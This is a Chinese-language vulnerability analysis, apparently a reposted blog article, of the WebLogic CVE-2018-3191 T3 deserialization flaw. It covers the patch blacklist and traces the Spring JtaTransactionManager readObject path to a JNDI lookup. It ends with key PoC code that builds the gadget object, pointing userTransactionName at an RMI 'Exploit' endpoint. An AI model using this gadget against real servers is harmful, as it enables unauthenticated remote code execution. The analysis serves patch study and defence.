Weblogic CVE-2018-3191 分析

Z时代
2024-01-10
分类：IT

作者：廖新喜

背景

北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（Critical Patch Update）中修复了一个高危的WebLogic远程代码执行漏洞（CVE-2018-3191）。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。这个漏洞由Matthias Kaiser，loopx9，Li Zhengdong申报。

补丁分析

如下图所示

这回的补丁主要增加了两个大类黑名单，分别是java.rmi.server.RemoteObject和com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager，RemoteObject是用于修补漏洞编号为CVE-2018-3245的漏洞，当时笔者在报这个漏洞的过程中就将所有涉及到RemoteObject相关的poc都提交给了Oracle官方。AbstractPlatformTransactionManager这个黑名单就是用于防止Spring JNDI注入，从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样，只是来源于不同的包。

动态分析

通过前一章的静态分析已经知道CVE-2018-3191所对应的补丁，就是AbstractPlatformTransactionManager，用于防止Spring JNDI注入。在我们的PoC中主要用到JtaTransactionManager这个类。下面来看一下这个类中关键的几个地方。

public class JtaTransactionManager extends AbstractPlatformTransactionManager implements TransactionFactory, InitializingBean, Serializable {
  public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
  public static final String[] FALLBACK_TRANSACTION_MANAGER_NAMES = new String[]{"java:comp/TransactionManager", "java:appserver/TransactionManager", "java:pm/TransactionManager", "java:/TransactionManager"};
  public static final String DEFAULT_TRANSACTION_SYNCHRONIZATION_REGISTRY_NAME = "java:comp/TransactionSynchronizationRegistry";
  private static final String TRANSACTION_SYNCHRONIZATION_REGISTRY_CLASS_NAME = "javax.transaction.TransactionSynchronizationRegistry";
  private transient JndiTemplate jndiTemplate;
  private transient UserTransaction userTransaction;
  private String userTransactionName;   .....

JtaTransactionManager类继承自AbstractPlatformTransactionManager，实现了Serializable接口，其中私有属性userTransactionName是用于JNDI寻址。

在Java反序列化中，入口有很多，readObject是最常见的，定位到JtaTransactionManager.readObject方法，实现如下：

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
  ois.defaultReadObject();
  this.jndiTemplate = new JndiTemplate();
  this.initUserTransactionAndTransactionManager();
  this.initTransactionSynchronizationRegistry();}

继续跟踪initUserTransactionAndTransactionManager方法的实现：

protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
  if (this.userTransaction == null) {
     if (StringUtils.hasLength(this.userTransactionName)) {
        this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
        this.userTransactionObtainedFromJndi = true;
     } else {
        this.userTransaction = this.retrieveUserTransaction();
     }
  }.....

在 initUserTransactionAndTransactionManager的方法中就有基于JNDI寻址方法lookupUserTransaction

关键寻址部分代码如下：

protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
  try {
     if (this.logger.isDebugEnabled()) {
        this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
     }
     return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
  } catch (NamingException var3) {
     throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
  }}

有了如上的分析，构造PoC也是水到渠成，下面是PoC的关键代码：

public static Object getJtaTransactionManagerObject(String command){
int seq = command.indexOf(':');
if (seq < 0){
command = "rmi://localhost:1099/Exploit";
}
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(command);
return jtaTransactionManager;}

更详细的关于JNDI的使用可参考作者以前的博文，这里不再重复。漏洞效果如下图：